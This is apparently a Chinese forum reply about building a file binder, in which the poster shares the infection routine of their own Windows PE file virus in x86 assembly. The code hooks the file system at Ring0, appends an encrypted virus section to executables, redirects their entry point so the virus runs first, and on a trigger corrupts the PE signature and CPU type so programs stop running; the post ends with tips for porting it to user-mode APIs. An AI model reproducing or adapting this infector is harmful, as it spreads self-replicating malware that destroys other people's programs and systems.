基本上此类程序和病毒的编写相似,而且,如果你要将一个文件作为宿主在修改其开始代码<br>使他先运行另一个别捆绑的程序,这样就可以做到不改变宿主程序的图标,我原来写过一个<br>不过不止扔到哪里去了,我手边只有这段代码(不是捆绑机的,而是 my virus 的 infect <br>部分,看看也许对你有益:<br><br>INFECT_PE_FILE:<br> ; ADD INFECT PE FILE CODES HERE!!!!!!!<br> XOR EAX,EAX ; 清 eax<br>; 清 MY SECTION 内容 <br> LEA EDI,EBP[NEWOBJ-MYHOOKAPI]<br> MOV ECX,0AH<br> CLD<br> REP STOSD<br>; 设置 MY SECTION 属性<br> MOV DWORD PTR [EDI-4],0C0000040H<br><br> LEA EDI,EBP[FILEOP-MYHOOKAPI] ; 得到 IFSMgr_Ring0_FileIO 的地址<br> MOV AX,R0_FILEATTRIBUTES ; 功能号: 取文件属性<br> CALL EDI ; GET OLD FILE ATTRIB<br> JC EXIT_INFECT ; 出错,放弃感染<br><br> MOV DR3,ECX ; SAVE THE FILE ATTRIB TO => DR1<br> XOR ECX,ECX ; 功能号: 置文件属性<br> MOV AX,R0_FILEATTRIBUTES+01H<br> CALL EDI ; SET COMMON FILE ATTRIB<br> JC EXIT_INFECT<br><br> XOR EAX,EAX ; 清 eax<br> MOV EAX,R0_OPENCREATFILE ; 打开文件<br> XOR ECX,ECX<br> MOV EDX,01H<br> MOV EBX,02H ; 同 int 21h (function 6ch)<br> LEA ESI,EBP[BUF-MYHOOKAPI] ; 文件名<br> CALL EDI<br> JC RETURN_ATTRIB<br><br> XCHG EAX,EBX ; SAVE FILE HANDLE TO EBX<br> MOV EAX,R0_READFILE ; FILE OPERATION READ<br> LEA ESI,EBP[PESTART-MYHOOKAPI] ; READ BUFFER<br> XOR ECX,ECX<br> MOV CL,04H ; READ 4 BYTES TO BUF<br> XOR EDX,EDX<br> MOV DL,3CH ; READ FROM OFFSET: 3CH<br><br> CALL EDI<br> JC CLOSEFILE<br><br> MOV EDX,EBP[PESTART-MYHOOKAPI] ; READ FROM OFFSET<br> MOV EAX,R0_READFILE ; READ FILE<br> LEA ESI,EBP[PEHEADER-MYHOOKAPI] ; READ BUFFER<br> MOV ECX,500H ; READ LENGTH<br> CALL EDI ; READ PE_HEADER<br> JC CLOSEFILE<br><br> CMP DWORD PTR EBP[PESIGN-MYHOOKAPI],4550H ; PE 文件格式?<br> JNZ CLOSEFILE ; 不是,放弃感染<br><br> CMP WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; 感染了吗?<br> JZ CLOSEFILE ; 是的,放弃感染<br><br> MOV WORD PTR EBP[PESIGN-MYHOOKAPI+1AH],0FFFFH ; SET INFECTED MASK<br><br> PUSHAD ; 保存全部寄存器<br>;=========================================<br>; USEFUL DATA:<br>; EBX - OPEN FILE HANDLE<br>; EDI - FILEOP FUNCTION<br>; EBP - OFFSET<br>;=========================================<br>; LOCAL THE OBJECT TABLE<br> XOR EAX,EAX ; 清 eax<br> MOV AX,EBP[NTHEADERSIZE-MYHOOKAPI] ; 得到 Optional Header 的大小<br> ADD EAX,18H ; 加上 18h, EAX - PE 文件头大小<br> MOV EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; CALCULATE THE OBJECT TABLE OFFSET<br> LEA EAX,EBP[PEHEADER-MYHOOKAPI] ; 取得 peheader 在内存中的偏移<br> ADD EBP[OBJTABOFFSET-MYHOOKAPI],EAX ; 计算并定位 object table 的偏移<br>; END OF LOCAL<br> XOR EAX,EAX ; 清 eax<br> XOR EDX,EDX ; 清 edx<br> MOV AX,EBP[NUMOBJ-MYHOOKAPI] ; GET THE NUMBER OF OBJECT<br> MOV ECX,40 ; 取得我的 section 在 peheader 中的开始地址<br> MUL ECX ; NOW THE [EDX:EAX] SAVE THE MY OBJECT ENTRY<br> MOV ESI,EBP[OBJTABOFFSET-MYHOOKAPI] ; OBJECT TABLE ENTRY POINT<br> ADD ESI,EAX ; CALCULATE MY OBJECT IN PEHEADER<br> INC WORD PTR EBP[NUMOBJ-MYHOOKAPI] ; object number + 1<br>;=============================================<br>; ESI: MY OBJ IN PEHEADER<br>; EDI: MY OBJ<br>;=============================================<br> MOV EAX,[ESI-40+8] ; 得到原最后一个 section 的 virtualsize<br> ADD EAX,[ESI-40+12] ; 得到原最后一个 section 的 virtualoffset<br>; CALCULATE MY SECTION IN MEMORY 计算我的段的 virtualsize & virtualoffset<br> MOV ECX,EBP[OBJALIGN-MYHOOKAPI] ; ecx - 内存中的段对齐方式<br> XOR EDX,EDX ; 清 edx<br> DIV ECX ; 计算我的段的 RVA<br> OR EDX,EDX<br> JZ VCON1<br> INC EAX<br>VCON1:<br> MUL ECX<br> MOV EBP[RVA-MYHOOKAPI],EAX ; 保存我的段的 RVA<br><br> XOR EDX,EDX ; 清 EDX<br> MOV EAX,OFFSET VIRMEMORYSIZE-VIRSTART ; 计算我的段的 VIRTUALSIZE<br> DIV ECX<br> OR EDX,EDX<br> JZ VCON2<br> INC EAX<br>VCON2:<br> MUL ECX<br> MOV EBP[VIRTUALSIZE-MYHOOKAPI],EAX<br>; CALCULATE MY SECTION IN PHYSICAL FILE<br> MOV ECX,EBP[FILEALIGN-MYHOOKAPI] ; 计算我的段的 PHYSICALSIZE<br> XOR EDX,EDX<br> MOV EAX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI]<br> DIV ECX<br> OR EDX,EDX<br> JZ VCON3<br> INC EAX<br>VCON3:<br> MUL ECX<br> MOV EBP[PHYSICALSIZE-MYHOOKAPI],EAX<br> <br> MOV EAX,[ESI-40+16]<br> ADD EAX,[ESI-40+20]<br><br> XOR EDX,EDX ; 计算我的段的 PHYSICALOFFSET<br> DIV ECX<br> OR EDX,EDX<br> JZ VCON4<br> INC EAX<br>VCON4:<br> MUL ECX<br> MOV EBP[PHYSICALOFFSET-MYHOOKAPI],EAX<br>; CALCULATE THE IMAGESIZE AND ENTRYPOINT<br> MOV ECX,EBP[OBJALIGN-MYHOOKAPI] ; 计算新的 IMAGESIZE<br> MOV EAX,EBP[IMAGESIZE-MYHOOKAPI]<br> ADD EAX,OFFSET VIRMEMORYSIZE-VIRSTART<br> DIV ECX<br> OR EDX,EDX<br> JZ VCON5<br> INC EAX<br>VCON5:<br> MUL ECX<br> MOV EBP[IMAGESIZE-MYHOOKAPI],EAX<br>; SAVE MY OLD SECTION TO IMAGE<br> LEA EDI,EBP[NEWOBJ-MYHOOKAPI] ; EDI - 我的段的地址<br> XCHG EDI,ESI ; ESI - 我的段的地址,EDI - PEHEADER 中我的段的入口地址<br> MOV ECX,10 ; 搬移字节数 10*4<br> CLD<br> REP MOVSD ; 搬过去<br>; CALCULATE RVA, MAKE SURE MY CUTE VIRUS RUN FIRST! ^O^<br> MOV EAX,EBP[RVA-MYHOOKAPI] ; 计算新的 ENTRYPOINTRVA<br> MOV EBX,EBP[ENTRYPOINTRVA-MYHOOKAPI] ; 保存原来的偏移到 OLDENTRYPOINT<br> MOV EBP[ENTRYPOINTRVA-MYHOOKAPI],EAX<br> MOV ECX,EBP[IMAGEBASE-MYHOOKAPI]<br> ADD EBX,ECX<br> MOV EBP[OLDENTRYPOINT-MYHOOKAPI],EBX<br> PUSHAD<br> CALL ENCRYATION_MYSELF<br> ADD EAX,ECX ; VIR START IN MEMORY<br> MOV EDI,EBP[USED_OFFSET-MYHOOKAPI]<br> ADD [EDI],EAX<br> POPAD<br><br> CALL CHECKTRIGGER<br> OR EAX,EAX<br> JZ VCON6<br>; Make 'PE' File To 'MZ' File, and Show My Cute Virus Name !<br> MOV DWORD PTR EBP[PESIGN-MYHOOKAPI],NOT(92350209H) ; Replace 'PE' Sign<br>; Change CPU Type ( 014C h => 014D h ), Stop Win App Run! <br> MOV WORD PTR EBP[CPUTYPE-MYHOOKAPI],014DH <br>VCON6:<br> POPAD ; 全局出栈<br><br> MOV EAX,R0_WRITEFILE ; 写 PE HEADER<br> MOV ECX,500H<br> MOV EDX,EBP[PESTART-MYHOOKAPI]<br> LEA ESI,EBP[PEHEADER-MYHOOKAPI]<br> CALL EDI ; WRITE NEW PE HEADER TO FILE<br> JC CLOSEFILE<br><br> MOV EAX,R0_WRITEFILE ; 写 VIRUS BODY<br> MOV ECX,EBP[VIR_ENCRY_LENGTH-MYHOOKAPI]<br> MOV EDX,EBP[PHYSICALOFFSET-MYHOOKAPI]<br> LEA ESI,EBP[VIR_ENCRY_START-MYHOOKAPI]<br> CALL EDI<br>; Change Dos Sub Header Message!<br> CALL CHECKTRIGGER<br> OR EAX,EAX<br> JZ CLOSEFILE<br><br> MOV EAX,R0_WRITEFILE<br> XOR ECX,ECX<br> INC ECX<br> INC ECX<br> INC ECX<br> INC ECX<br> LEA ESI,EBP[PESTART-MYHOOKAPI]<br> MOV DWORD PTR [ESI],20202020H<br> MOV EDX,04EH<br> CALL EDI<br><br> CALL NOTMSG<br><br> MOV EAX,R0_WRITEFILE<br> MOV ECX,14<br> LEA ESI,EBP[MSG-MYHOOKAPI]<br> MOV EDX,04EH+04H<br> CALL EDI<br><br> CALL NOTMSG<br><br>CLOSEFILE:<br> MOV EAX,R0_CLOSEFILE ; 关档<br> CALL EDI<br>RETURN_ATTRIB:<br> MOV EAX,DR3 ; 恢复文件属性<br> MOV ECX,EAX<br> MOV AX,R0_FILEATTRIBUTES+1<br> LEA ESI,EBP[BUF-MYHOOKAPI]<br> CALL EDI<br>EXIT_INFECT: <br><br>CANCELACTION:<br> MOV BYTE PTR EBP[MYFLAG-MYHOOKAPI],0 ; 设置忙位为零<br> MOV EAX,EBP[OLDHOOKAPI-MYHOOKAPI] ; 得到旧的 FILESYSTEMAPIHOOK 入口<br> MOV DR1,EAX ; 暂存到 DR1<br> POPAD ; 全局出栈<br> MOV EAX,DR1 ; 将 DR1 ( 旧的 FILESYSTEMAPIHOOK ) 返回 EAX<br> JMP [EAX] <br><br>别忘了将这里的 vxd 调用换为 api 调用(具体函数不用我说了吧?_lcreat,CreateFileEx 随便)<br>